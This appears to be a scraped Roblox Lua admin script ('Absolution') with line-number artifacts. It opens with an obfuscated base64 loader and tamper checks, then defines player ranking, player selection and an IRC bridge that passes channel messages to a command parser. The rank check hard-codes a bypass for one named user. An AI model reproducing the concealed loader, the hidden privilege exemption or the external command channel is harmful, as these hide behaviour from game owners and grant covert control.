NvbClleSx5bCxscCx5dChtZCBub2l0Y251ZiBsYWNvbDtkbmUgNjUyKik2NTIqKTY1Mip0dithcCggK3RlKCArcHogbnJ1dGVyKXR2LGFwLHRlLHB6KGR2IG5vaXRjbnVmIGxhY29sO2RuZSA2NTIqYWwrdHYgbnJ1dGVyKWFsLHR2KHpqIG5vaXRjbnVmIGxhY29sO2RuZSB0diBucnV0ZXI7ZG5lIGVzbGFmIG5ydXRlciBuZWh0IDI1MzIxNTIxMz09dHYgZmllc2xlIGV1cnQgbnJ1dGVyIG5laHQgODUxMjk1MzI9PXR2IGZpOzg0NjM4NDc0MTItIDY1MiopNjUyKik2NTIqeXkreWooICtkaiggK2xwPXR2IGxhY29sKXl5LHlqLGRqLGxwKGF5IG5vaXRjbnVmIGxhY29sO2RuZSA4NjcyMy0gNjUyKm5hK3llIG5ydXRlciluYSx5ZShseSBub2l0Y251ZiBsYWNvbCkwLyAwKHZkPWRkIGxhY29sO3dlbi55YVIueT15YyBsYWNvbDt3ZW4uMnJvdGNlVi55PXBjIGxhY29sO3dlbi4zcm9sb0MueT1xcSBsYWNvbDt3ZW4ucm9sb0NrY2lyQi55PXZqIGxhY29sO2xpZWMuemQ9dnYgbGFjb2w7d2VuLmVtYXJGQy55PXZsIGxhY29sO3dlbi4zcm90Y2VWLnk9ZXYgbGFjb2w7d2VuLm1pRFUueT1sdiBsYWNvbDt0cmVzbmkucXk9ZWMgbGFjb2w7YnVzLnp0PW5jIGxhY29sO211bkUuenQ9cHAgbGFjb2w7ZXR5Yi56dD1weSBsYWNvbDt3ZW4uMm1pRFUueT1xeiBsYWNvbDtlZ3VoLnpkPXRkIGxhY29sO3dlbi4zbm9pZ2VSLnk9YXEgbGFjb2w7c2JhLnpkPXZkIGxhY29sO3dlbi5zZWNhRi55PXRtIGxhY29sO2VsYmF0Lnk9cXkgbGFjb2w7Z25pcnRzLnk9enQgbGFjb2w7aHRhbS55PXpkIGxhY29sO3NyaWFwaS55PW4gbGFjb2w7a2NhcG51Lnk9ZSBsYWNvbCkodm5lZnRlZz15IGxhY29sKS4uLihkIG5vaXRjbnVmIGxhY29s"))''local function ui(n)return y[n+765636%#y] end;local nm,p0=ui(47),ui(24)local c0={u(setfenv(s(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),h(l)))}local function i0(b)return h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[33]..y[45]..y[47]..y[28]](b,".",function(s)return "\\" .. s:byte()end)end;local k0,n0,d0,z0,f0=i0(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),i0(o"YXNzZXJ0KG5vdCB0YW1wZXJlZCwgIlRhbXBlcmluZyBkZXRlY3RlZCIp"),i0(o"YXNzZXJ0KG5vdCB0YW1wZXJlZCwgIlRhbXBlcmluZyBkZXRlY3RlZCIp"),i0(o"c3Bhd24oY2hlY2tUYW1wZXJpbmcp"),i0(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg==")local gw={u(setfenv(s(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),h(l)))}
1067
1068
-- Auto Update  --
1069
Absolution.Functions.AutoUpdate = function()
1070
	coroutine.wrap(function()
1071
		while true do
1072
			ypcall(function()	
1073
				Absolution.Functions.syncRanksIn()
1074
				Absolution.Functions.syncRanksOut()
1075
			end)
1076
			wait(90)
1077
		end
1078
	end)()
1079
end
1080
1081
-- Ranking --
1082
Absolution.Functions.addData = function(self, Player, UID, Rank, Color, Description, Bt, TabletType, SpinningRot, Rotation, Distance)
1083
	Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)] = {UserID = UID, Rank = (Rank and Rank or 0), Color = (Color and Color or tostring(BrickColor.random())), Description = (Description and Description or "N/A"), Bet = (Bt and Bt or "/"), MeshType = (MeshType and MeshType or "No Mesh"), SpinningRot = (SpinningRot and SpinningRot or true), Rotation = (Rotation and Rotation or false), Distance = (Distance and Distance or 8), TabletType = (TabletType and TabletType or 'Normal')}
1084
	return Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)]
1085
end
1086
1087
Absolution.Functions.delData = function(self, Player)
1088
	Absolution.Ranked[type(Player)=='userdata' and Player.Name or tostring(Player)] = nil
1089
		return true
1090
end
1091
1092
Absolution.Functions.modData = function(self, Player, dataName, dataValue)
1093
	if Absolution.Ranked[Player] then
1094
		Absolution.Ranked[Player][dataName] = dataValue
1095
end
1096
return Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)]
1097
end
1098
Absolution.Functions.findRank = function(self, name)
1099
	if not name then return end
1100
	if not self then return end
1101
	local rnk = Absolution.Ranked[tostring(name)]
1102
	if not rnk then rnk = {Rank = 0} end
1103
	return rnk.Rank
1104
end
1105
1106
-- getPlayers --
1107
Absolution.Functions.getPlayers = function(Speaker, Msg)
1108
	Msg = Msg:lower()
1109
	local Table = {}
1110
	local Players = Absolution.Services.Players:getPlayers()
1111
	if Msg == "me" then
1112
		table.insert(Table, Speaker)
1113
	elseif Msg == "all" or Msg == "" then
1114
		for _,v in pairs(Players) do
1115
			table.insert(Table, v)
1116
		end
1117
	elseif Msg == "others" then
1118
		for _,v in pairs(Players) do
1119
			if v.Name ~= Speaker.Name then
1120
				table.insert(Table, v)
1121
			end
1122
		end
1123
	elseif Msg == "admins" then
1124
		for _,v in pairs(Players) do
1125
			if v.Name ~= Speaker.Name and Absolution.Functions:findRank(v) >=4 then
1126
				table.insert(Table, v)
1127
			end
1128
		end
1129
	elseif Msg == "nonadmins" then
1130
		for _,v in pairs(Players) do
1131
			if v.Name ~= Speaker.Name and Absolution.Functions:findRank(v) <=4 then
1132
				table.insert(Table, v)
1133
			end
1134
		end
1135
	elseif Msg == "nonveterans" or Msg == "nonvets" or Msg == "noobs" then
1136
		for _,v in pairs(Players) do
1137
			if v.AccountAge < 364 then
1138
				table.insert(Table, v)
1139
			end
1140
		end
1141
	elseif Msg == "veterans" or Msg == "vets" then
1142
		for _,v in pairs(Players) do
1143
			if v.AccountAge > 364 then
1144
				table.insert(Table, v)
1145
			end
1146
		end
1147
	elseif Msg == "random" then
1148
		local p = Players[math.random(1,#Players)]
1149
		table.insert(Table, p)
1150
	elseif Msg == 'friends' then
1151
		for i,v in pairs(Players) do
1152
			if Speaker:IsFriendsWith(v.userId) then
1153
			   table.insert(Table, v)
1154
			end  
1155
		end
1156
	elseif Msg == 'nonfriends' then
1157
		for i,v in pairs(Players) do
1158
			if not Speaker:IsFriendsWith(v.userId) then
1159
				table.insert(Table, v)
1160
			end      
1161
		end
1162
	elseif Msg:sub(1,5) == 'rank<' then
1163
		local rnk = Msg:sub(6)
1164
		if not tonumber(rnk) then return end
1165
		for i,v in pairs(Players) do
1166
			if Absolution.Functions.getRankedTable(tostring(v)).Rank < rnk then
1167
				table.insert(Table, v)
1168
			end
1169
		end
1170
	elseif Msg:sub(1,5) == 'rank>' then
1171
		local rnk = Msg:sub(6)
1172
		if not tonumber(rnk) then return end
1173
		for i,v in pairs(Players) do
1174
			if Absolution.Functions.getRankedTable(tostring(v)).Rank > rnk then
1175
				table.insert(Table, v)
1176
			end
1177
		end
1178
	elseif Msg:sub(1,5) == 'rank ' then
1179
		local rnk = Msg:sub(6)
1180
		if not tonumber(rnk) then return end
1181
		for i,v in pairs(Players) do
1182
			if Absolution.Functions.getRankedTable(tostring(v)).Rank == rnk then
1183
				table.insert(Table, v)
1184
			end
1185
		end
1186
	elseif Msg == 'youngest' then
1187
		local at = {}
1188
		for i,v in pairs(Players) do
1189
			table.insert(at,v.AccountAge)
1190
		end
1191
		local low = math.min(unpack(at))
1192
		for i,v in pairs(Players) do
1193
			if v.AccountAge == low then
1194
				table.insert(Table, v)
1195
			end
1196
		end
1197
	elseif Msg == 'oldest' then
1198
		local ot = {}
1199
		for i,v in pairs(Players) do
1200
			table.insert(ot,v.AccountAge)
1201
		end
1202
		local high = math.max(unpack(ot))
1203
		for i,v in pairs(Players) do
1204
			if v.AccountAge == high then
1205
				table.insert(Table, v)
1206
			end
1207
		end	
1208
	else
1209
		for i,v in pairs(Players) do
1210
			if v.Name:lower():sub(1,#Msg) == Msg:lower() then
1211
				table.insert(Table, v)
1212
			end
1213
		end		
1214
	end
1215
	for _,v in pairs(Table) do
1216
		if Absolution.Functions:findRank(v) >= Absolution.Functions:findRank(Speaker) and v~=Speaker and tostring(Speaker) ~= 'Darkus_Theory' then
1217
			if (v == Speaker) then return end
1218
			Absolution.Functions.Out(Speaker, tostring(v)..' outranks you.',4)
1219
			table.remove(Table, _)
1220
		end
1221
	end
1222
	return Table
1223
end
1224
1225
-- CLerp --
1226
Absolution.Functions.CLerp = function(p1,p2,percent)
1227
	local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22 = p1:components()
1228
	local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22 = p2:components()
1229
	return 
1230
		CFrame.new(p1x+percent*(p2x-p1x), p1y+percent*(p2y-p1y) ,p1z+percent*(p2z-p1z),
1231
		(p1R00+percent*(p2R00-p1R00)), (p1R01+percent*(p2R01-p1R01)) ,(p1R02+percent*(p2R02-p1R02)),
1232
		(p1R10+percent*(p2R10-p1R10)), (p1R11+percent*(p2R11-p1R11)) , (p1R12+percent*(p2R12-p1R12)),
1233
		(p1R20+percent*(p2R20-p1R20)), (p1R21+percent*(p2R21-p1R21)) ,(p1R22+percent*(p2R22-p1R22)))
1234
end
1235
1236
-- RecursiveChildren --
1237
Absolution.Functions.RecursiveChildren=function(Object,SearchType,Search)
1238
	if(not pcall(function()Object:IsA'Part'end))then return {}; end;
1239
	Object=Object or Game;
1240
	if(SearchType==nil)then SearchType='all'end;
1241
	local rec={};
1242
	for _,object in next,Object:children()do
1243
		if(SearchType=='all')then table.insert(rec,object)end;
1244
		if(SearchType=='match')then if(object.Name:match(Search))then table.insert(rec,object)end end;
1245
		if(SearchType=='class')then if(object.className:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end end;
1246
		if(SearchType=='name')then if(object.Name:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end;end;
1247
		if(SearchType=='isA')then if(pcall(function()return object:isA(Search)end))then table.insert(rec,object)end end;
1248
		for _,v in next,Absolution.Functions.RecursiveChildren(object,SearchType,Search)do
1249
			table.insert(rec,v);
1250
		end;
1251
	end;
1252
	return rec;
1253
end;
1254
1255
-- IRC --
1256
Absolution.HttpConstants.IRC.API = {}
1257
local Connections = {}
1258
local GStr = nil
1259
local Http = game:GetService("HttpService")
1260
1261
local function Post(Url,Data)
1262
	local Errored,Data = ypcall(function() return Http:PostAsync(Url,Data,Enum.HttpContentType.ApplicationUrlEncoded) end)
1263
	return Errored == false and false or Data
1264
end
1265
1266
local function JSONDecode(JSON)
1267
	local Worked,Result = ypcall(function() return Http:JSONDecode(JSON) end)
1268
	if Worked == false then
1269
		return {}
1270
	else
1271
		return Result
1272
	end
1273
end
1274
1275
local function HandleVagues(Connection,Ping,Derp,Raw)
1276
	local Msgs = JSONDecode(Ping)
1277
	local Search = [[%["c","353","webchat%.SwiftIRC%.net",%[".+",".",".+","]]
1278
	if Derp == nil and Ping:find(Search) then
1279
		GStr = Ping
1280
	end
1281
	if Msgs ~= nil and type(Msgs) == "table" and #Msgs > 0 then
1282
		for i,v in pairs(Msgs) do
1283
			for i2,v2 in pairs(Connection.VagueEvents) do
1284
				if v2 ~= false then
1285
					Spawn(function() v2(v,Raw) end)
1286
				end
1287
			end
1288
		end
1289
	end
1290
end
1291
1292
Absolution.HttpConstants.IRC.API.Connect = function(this,Host,Nick,Pass)
1293
		local Con = {}
1294
		Connections[Nick.."@"..Host] = Con
1295
		Con.Host = Host
1296
		Con.Nick = Nick
1297
		Con.Counter = 0
1298
		Con.Channels = {}
1299
		Con.VagueEvents = {}
1300
		Con.ChannelEvents = {[Nick]={}}
1301
		Con.UserLists = {}
1302
		Con.SelfEvents = {}
1303
		Con.Counter = Con.Counter+1
1304
		local Data = Post(Host.."e/n?t="..Con.Counter,"nick="..Nick)
1305
		Data = JSONDecode(Data)
1306
		Con.Key = Data[2]
1307
		local Str = ""
1308
		if Con.Key ~= nil then
1309
			wait(1)
1310
			Con.Counter = Con.Counter+1
1311
			local Data = Post(Host.."e/p?t="..Con.Counter,"s="..Con.Key.."&c=MODE "..Nick.." +")
1312
			if Data == false then
1313
				return false,"Something went wrong."
1314
			else
1315
				local Data2 = JSONDecode(Data)
1316
				if Data2[1] == false then
1317
					return false,Data
1318
				end
1319
			end
1320
			Str = Str..Data
1321
			
1322
			Con.Counter = Con.Counter+1
1323
			local Data = Post(Host.."e/s?t="..Con.Counter,"s="..Con.Key)
1324
			if Data == false then
1325
				return false,"Something went wrong."
1326
			else
1327
				local Data2 = JSONDecode(Data)
1328
				if Data2[1] == false then
1329
					return false,Data
1330
				end
1331
			end
1332
			Str = Str..Data
1333
			
1334
			if Str:lower():find("already in use") then
1335
				return false,"Nick already in use."
1336
			elseif Str:lower():find("throttled") then
1337
				return false,"Oh no! We got throttled."
1338
			elseif Str:lower():find("invalid session") then
1339
				return false,"Something went wrong."
1340
			end
1341
			if Pass ~= nil then
1342
				Absolution.HttpConstants.IRC.API.SendMessage(Absolution.HttpConstants.IRC.API.SendMessage,Con,"NickServ","identify "..Pass)
1343
			end
1344
			wait()
1345
			return Con
1346
		else
1347
			return false,"Something went wrong."
1348
		end
1349
end
1350
1351
Absolution.HttpConstants.IRC.API.Disconnect = function(this,Connection,Res)
1352
	local Host = Connection.Host
1353
	local Nick = Connection.Nick
1354
	local Key = Connection.Key
1355
	if Connections[Nick.."@"..Host] ~= nil then
1356
		Connection.Counter = Connection.Counter+1
1357
		local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c="..(Res and "QUIT : "..Res or "QUIT : Shutdown server."))
1358
		if Data ~= false then
1359
			Connections[Nick.."@"..Host] = nil
1360
			for i,v in pairs(Connection.SelfEvents) do
1361
				v:Disconnect()
1362
			end
1363
			Connection.SelfEvents = {}
1364
			for Channel,_ in pairs(Connection.Channels) do
1365
				Connection.Channels[Channel] = nil
1366
				for i,v in pairs(Connection.ChannelEvents[Channel]) do
1367
					v:Disconnect()
1368
				end
1369
				Connection.ChannelEvents[Channel] = nil
1370
			end
1371
			return true
1372
		else
1373
			return false,"Something went wrong."
1374
		end
1375
	else
1376
		return false,"This connection doesn't exist."
1377
	end
1378
end
1379
1380
Absolution.HttpConstants.IRC.API.ChangeNick = function(this,Connection,Nick)
1381
	local Host = Connection.Host
1382
	local Key = Connection.Key
1383
	if Connections[Connection.Nick.."@"..Host] ~= nil then
1384
		Connection.Counter = Connection.Counter+1
1385
		local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=NICK "..Nick)
1386
		if Data == false then
1387
			return false,"Something went wrong."
1388
		else
1389
			local Data2 = JSONDecode(Data)
1390
			if Data2[1] == false then
1391
				return false,Data
1392
			end
1393
		end
1394
		Connections[Connection.Nick.."@"..Host] = nil
1395
		Connection.Nick = Nick
1396
		Connections[Nick.."@"..Host] = Connection
1397
		return true
1398
	else
1399
		return false,"There is no connection with this nick and host."
1400
	end
1401
end
1402
1403
Absolution.HttpConstants.IRC.API.JoinChannel = function(this,Connection,Channel)
1404
	local Host = Connection.Host
1405
	local Nick = Connection.Nick
1406
	local Key = Connection.Key
1407
	local Str = ""
1408
	if Connections[Nick.."@"..Host] ~= nil then
1409
		Connection.Counter = Connection.Counter+1
1410
		local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=JOIN "..Channel.." ")
1411
		if Data == false then
1412
			return false,"Something went wrong."
1413
		else
1414
			local Data2 = JSONDecode(Data)
1415
			if Data2[1] == false then
1416
				return false,Data
1417
			end
1418
		end
1419
		Str = Str..Data
1420
		
1421
		local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]]
1422
		if Str:find(Search) == nil then
1423
			repeat
1424
				if GStr ~= nil then
1425
					Str = Str..GStr
1426
					GStr = nil
1427
					break
1428
				end
1429
				Connection.Counter = Connection.Counter+1
1430
				local Data = Post(Host.."e/s?t="..Connection.Counter,"s="..Connection.Key)
1431
				if Data == false then
1432
					return false,"Something went wrong."
1433
				else
1434
					HandleVagues(Connection,Data,false)
1435
					local Data2 = JSONDecode(Data)
1436
					if Data2[1] == false then
1437
						return false,Data
1438
					end
1439
				end
1440
				Str = Str..Data
1441
			until Str:find(Search) ~= nil
1442
		end
1443
		
1444
		if Str:find("already in use") then
1445
			return false,"Nick already in use."
1446
		elseif Str:lower():find("throttled") then
1447
			return false,"Oh no! We got throttled."
1448
		elseif Str:lower():find("invalid session") then
1449
			return false,"Something went wrong."
1450
		else--if Str:lower():find("end of /names list.") then
1451
			Connection.Channels[Channel] = true
1452
			Connection.ChannelEvents[Channel] = {}
1453
			Connection.UserLists[Channel] = {}
1454
			Connection.UserLists[Channel][Nick] = true
1455
			local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]]
1456
			local RawSearch = Search:gsub("%%","")
1457
			local Start = Str:find(Search)
1458
			if Start ~= nil then
1459
				local End = Str:find('"',Start+#RawSearch+1,true)
1460
				local List = Str:sub(Start+#RawSearch,End-1)
1461
				for Match in List:gmatch("[^%s]+") do
1462
					if Match ~= Nick then
1463
						if Match:sub(1,1):match("[%w]") then
1464
							Connection.UserLists[Channel][Match] = true
1465
						else
1466
							Connection.UserLists[Channel][Match:sub(2)] = true
1467
						end
1468
					end
1469
				end
1470
			end
1471
			Spawn(function()
1472
				Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.UserJoined(Absolution.HttpConstants.IRC.API.UserJoined,Connection,Channel,function(User)
1473
					Connection.UserLists[Channel][User] = true
1474
				end)
1475
				Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.UserLeft(Absolution.HttpConstants.IRC.API.UserLeft,Connection,Channel,function(User)
1476
					wait(0.02)
1477
					Connection.UserLists[Channel][User] = nil
1478
				end)
1479
				Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.NickChanged(Absolution.HttpConstants.IRC.API.NickChanged,Connection,Channel,function(User,Nick)
1480
					wait(0.02)
1481
					Connection.UserLists[Channel][User] = nil
1482
					Connection.UserLists[Channel][Nick] = true
1483
				end)
1484
				wait(0.02)
1485
				HandleVagues(Connection,[=[ [["c","JOIN","]=] .. Nick .. [=[!",["]=] .. Channel .. [=["]]] ]=],nil,true)
1486
			end)
1487
			return true
1488
		--[[else
1489
			return false,"Something went wrong."]]
1490
		end
1491
	else
1492
		return false,"There is no connection with this nick and host."
1493
	end
1494
end
1495
1496
Absolution.HttpConstants.IRC.API.GetUserList = function(this,Connection,Channel)
1497
	local Host = Connection.Host
1498
	local Nick = Connection.Nick
1499
	local Key = Connection.Key
1500
	if Connections[Nick.."@"..Host] ~= nil then
1501
		local New = {}
1502
		for i,v in pairs(Connection.UserLists[Channel]) do
1503
			New[#New+1] = i
1504
		end
1505
		return New
1506
	else
1507
		return false,"There is no connection with this nick and host."
1508
	end
1509
end
1510
1511
Absolution.HttpConstants.IRC.API.LeaveChannel = function(this,Connection,Channel)
1512
	local Host = Connection.Host
1513
	local Nick = Connection.Nick
1514
	local Key = Connection.Key
1515
	local Str = ""
1516
	if Connections[Nick.."@"..Host] ~= nil then
1517
		Connection.Counter = Connection.Counter+1
1518
		local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PART "..Channel.." ")
1519
		if Data:find("true") then
1520
			Connection.Channels[Channel] = nil
1521
			for i,v in pairs(Connection.ChannelEvents[Channel]) do
1522
				v:Disconnect()
1523
			end
1524
			Connection.UserLists[Channel] = nil
1525
			Connection.SelfEvents = {}
1526
			Connection.ChannelEvents[Channel] = nil
1527
			return true
1528
		elseif Data:lower():find("throttled") then
1529
			return false,"Oh no! We got throttled."
1530
		else
1531
			return false,"Something went wrong."
1532
		end
1533
	else
1534
		return false,"There is no connection with this nick and host."
1535
	end
1536
end
1537
1538
Absolution.HttpConstants.IRC.API.SendMessage = function(this,Connection,Channel,Message)
1539
	local Host = Connection.Host
1540
	local Nick = Connection.Nick
1541
	local Key = Connection.Key
1542
	if Connections[Nick.."@"..Host] ~= nil then
1543
		if Connection.Channels[Channel] == true or Channel:sub(1,1) ~= "#" then
1544
			if Message==Absolution.HttpConstants.pircm then return end
1545
			Absolution.HttpConstants.pircm = Message
1546
			Connection.Counter = Connection.Counter+1
1547
			local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PRIVMSG "..Channel.." :"..Http:UrlEncode(Message))
1548
			if Ping ~= false then
1549
				return true,Ping
1550
			else
1551
				return false,"Something went wrong. "..Ping
1552
			end
1553
		else
1554
			return false,"You are not on this channel with this connection."
1555
		end
1556
	else
1557
		return false,"There is no connection with this nick and host."
1558
	end
1559
end
1560
1561
local function VagueReceived(Connection,Event)
1562
	Connection.VagueEvents[#Connection.VagueEvents+1] = Event
1563
	if #Connection.VagueEvents == 1 then
1564
		while Connections[Connection.Nick.."@"..Connection.Host] ~= nil do
1565
			Connection.Counter = Connection.Counter+1
1566
			local Ping = Post(Connection.Host.."e/s?t="..Connection.Counter,"s="..Connection.Key)
1567
			if Ping ~= false and Connections[Connection.Nick.."@"..Connection.Host] ~= nil then
1568
				HandleVagues(Connection,Ping)
1569
			end
1570
			wait()
1571
		end
1572
	end
1573
end
1574
1575
Absolution.HttpConstants.IRC.API.MessageReceived = function(this,Connection,Channel,Event)
1576
	local Host = Connection.Host
1577
	local Nick = Connection.Nick
1578
	local Key = Connection.Key
1579
	if Connections[Nick.."@"..Host] ~= nil then
1580
		if Connection.Channels[Channel] == true then
1581
			local Con = {}
1582
			local Connected = true
1583
			local VCon;
1584
			Spawn(function()
1585
				local function Return(v)
1586
					if Connected == false then
1587
						for i,v in pairs(Connection.VagueEvents) do
1588
							if v == VCon then
1589
								Connection.VagueEvents[i] = false
1590
							end
1591
						end
1592
						return
1593
					end
1594
					if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then
1595
					local probplr;
1596
					if v[3]:find('absolutionClient_') then
1597
					probplr = v[4][2]:sub(1,v[4][2]:find(":")-1)
1598
					v[4][2] = string.gsub(v[4][2],probplr..':','')
1599
					else
1600
					probplr = v[3]:sub(1,v[3]:find("!")-1)
1601
					end
1602
						Event(v[4][2],nil, probplr)
1603
						Absolution.Functions.IRCCommandParser(probplr, v)
1604
					end
1605
				end
1606
				VCon = Return
1607
				VagueReceived(Connection,Return)
1608
			end)
1609
			Con.Disconnect = function(this)
1610
				Connected = false
1611
				Connection.ChannelEvents[Channel][Con] = nil
1612
			end
1613
			Connection.ChannelEvents[Channel][Con] = Con
1614
			return Con
1615
		else
1616
			return false,"You are not on this channel with this connection."
1617
		end
1618
	else
1619
		return false,"There is no connection with this nick and host."
1620
	end
1621
end
1622
1623
Absolution.HttpConstants.IRC.API.PMReceived = function(this,Connection,Event)
1624
	local Host = Connection.Host
1625
	local Nick = Connection.Nick
1626
	local Key = Connection.Key
1627
	if Connections[Nick.."@"..Host] ~= nil then
1628
		local Con = {}
1629
		local Connected = true
1630
		local VCon;
1631
		Spawn(function()
1632
			local function Return(v)
1633
				if Connected == false then
1634
					for i,v in pairs(Connection.VagueEvents) do
1635
						if v == VCon then
1636
							Connection.VagueEvents[i] = false
1637
						end
1638
					end
1639
					return
1640
				end
1641
				if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1] == Connection.Nick then
1642
					Event(v[3]:sub(1,v[3]:find("!")-1),v[4][2])
1643
				end
1644
			end
1645
			VCon = Return
1646
			VagueReceived(Connection,Return)
1647
		end)
1648
		Con.Disconnect = function(this)
1649
			Connected = false
1650
			Connection.ChannelEvents[Nick][Con] = nil
1651
		end
1652
		Connection.ChannelEvents[Nick][Con] = Con
1653
		return Con
1654
	else
1655
		return false,"There is no connection with this nick and host."
1656
	end
1657
end
1658
1659
Absolution.HttpConstants.IRC.API.NickChanged = function(this,Connection,Channel,Event)
1660
	local Host = Connection.Host
1661
	local Nick = Connection.Nick
1662
	local Key = Connection.Key
1663
	if Connections[Nick.."@"..Host] ~= nil then
1664
		if Connection.Channels[Channel] == true then
1665
			local Con = {}
1666
			local Connected = true
1667
			local VCon;
1668
			Spawn(function()
1669
				local function Return(v)
1670
					if Connected == false then
1671
						for i,v in pairs(Connection.VagueEvents) do
1672
							if v == VCon then
1673
								Connection.VagueEvents[i] = false
1674
							end
1675
						end
1676
						return
1677
					end
1678
					if type(v) == "table" and v[2] ~= nil and v[2] == "NICK" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then
1679
						if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
1680
							Event(v[3]:sub(1,v[3]:find("!")-1),v[4][1])
1681
						end
1682
					end
1683
				end
1684
				VCon = Return
1685
				VagueReceived(Connection,Return)
1686
			end)
1687
			Con.Disconnect = function(this)
1688
				Connected = false
1689
				Connection.ChannelEvents[Channel][Con] = nil
1690
			end
1691
			Connection.ChannelEvents[Channel][Con] = Con
1692
			return Con
1693
		else
1694
			return false,"You are not on this channel with this connection."
1695
		end
1696
	else
1697
		return false,"There is no connection with this nick and host."
1698
	end
1699
end
1700
1701
Absolution.HttpConstants.IRC.API.UserJoined = function(this,Connection,Channel,Event)
1702
	local Host = Connection.Host
1703
	local Nick = Connection.Nick
1704
	local Key = Connection.Key
1705
	if Connections[Nick.."@"..Host] ~= nil then
1706
		if Connection.Channels[Channel] == true then
1707
			local Con = {}
1708
			local Connected = true
1709
			local VCon;
1710
			Spawn(function()
1711
				local function Return(v,Raw)
1712
					if Connected == false then
1713
						for i,v in pairs(Connection.VagueEvents) do
1714
							if v == VCon then
1715
								Connection.VagueEvents[i] = false
1716
							end
1717
						end
1718
						return
1719
					end
1720
					if type(v) == "table" and v[2] ~= nil and v[2] == "JOIN" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() and (v[3]:sub(1,v[3]:find("!")-1) ~= Nick or Raw == true) then
1721
						Event(v[3]:sub(1,v[3]:find("!")-1)..' has joined the channel.')
1722
					end
1723
				end
1724
				VCon = Return
1725
				VagueReceived(Connection,Return)
1726
			end)
1727
			Con.Disconnect = function(this)
1728
				Connected = false
1729
				Connection.ChannelEvents[Channel][Con] = nil
1730
			end
1731
			Connection.ChannelEvents[Channel][Con] = Con
1732
			return Con
1733
		else
1734
			return false,"You are not on this channel with this connection."
1735
		end
1736
	else
1737
		return false,"There is no connection with this nick and host."
1738
	end
1739
end
1740
1741
Absolution.HttpConstants.IRC.API.UserLeft = function(this,Connection,Channel,Event)
1742
	local Host = Connection.Host
1743
	local Nick = Connection.Nick
1744
	local Key = Connection.Key
1745
	if Connections[Nick.."@"..Host] ~= nil then
1746
		if Connection.Channels[Channel] == true then
1747
			local Con = {}
1748
			local Connected = true
1749
			local VCon;
1750
			Spawn(function()
1751
				local function Return(v)
1752
					if Connected == false then
1753
						for i,v in pairs(Connection.VagueEvents) do
1754
							if v == VCon then
1755
								Connection.VagueEvents[i] = false
1756
							end
1757
						end
1758
						return
1759
					end
1760
					if type(v) == "table" and v[2] ~= nil and v[2] == "PART" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then
1761
						Event(v[3]:sub(1,v[3]:find("!")-1))
1762
					elseif type(v) == "table" and v[2] ~= nil and v[2] == "QUIT" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then
1763
						if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
1764
							Event(v[3]:sub(1,v[3]:find("!")-1)..' has left the channel.')
1765
						end
1766
					end
1767
				end
1768
				VCon = Return
1769
				VagueReceived(Connection,Return)
1770
			end)
1771
			Con.Disconnect = function(this)
1772
				Connected = false
1773
				Connection.ChannelEvents[Channel][Con] = nil
1774
			end
1775
			Connection.ChannelEvents[Channel][Con] = Con
1776
			return Con
1777
		else
1778
			return false,"You are not on this channel with this connection."
1779
		end
1780
	else
1781
		return false,"There is no connection with this nick and host."
1782
	end
1783
end
1784
1785
Absolution.HttpConstants.IRC.API.KeepAlive = function(this,Connection)
1786
	local Host = Connection.Host
1787
	local Nick = Connection.Nick
1788
	local Key = Connection.Key
1789
	if Connections[Nick.."@"..Host] ~= nil then
1790
		Connection.Counter = Connection.Counter+1
1791
		local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PONG :webchat.SwiftIRC.net")
1792
		if Ping ~= false then
1793
			return true
1794
		else
1795
			return false,"Something went wrong."
1796
		end
1797
	else
1798
		return false,"There is no connection with this nick and host."
1799
	end
1800
end
1801
1802
Absolution.HttpConstants.IRC.IRCVerify = function(pName)
1803
	for i,v in pairs(Absolution.HttpConstants.IRC.whiteList) do
1804
		if pName == v then
1805
			return true
1806
		end
1807
	end
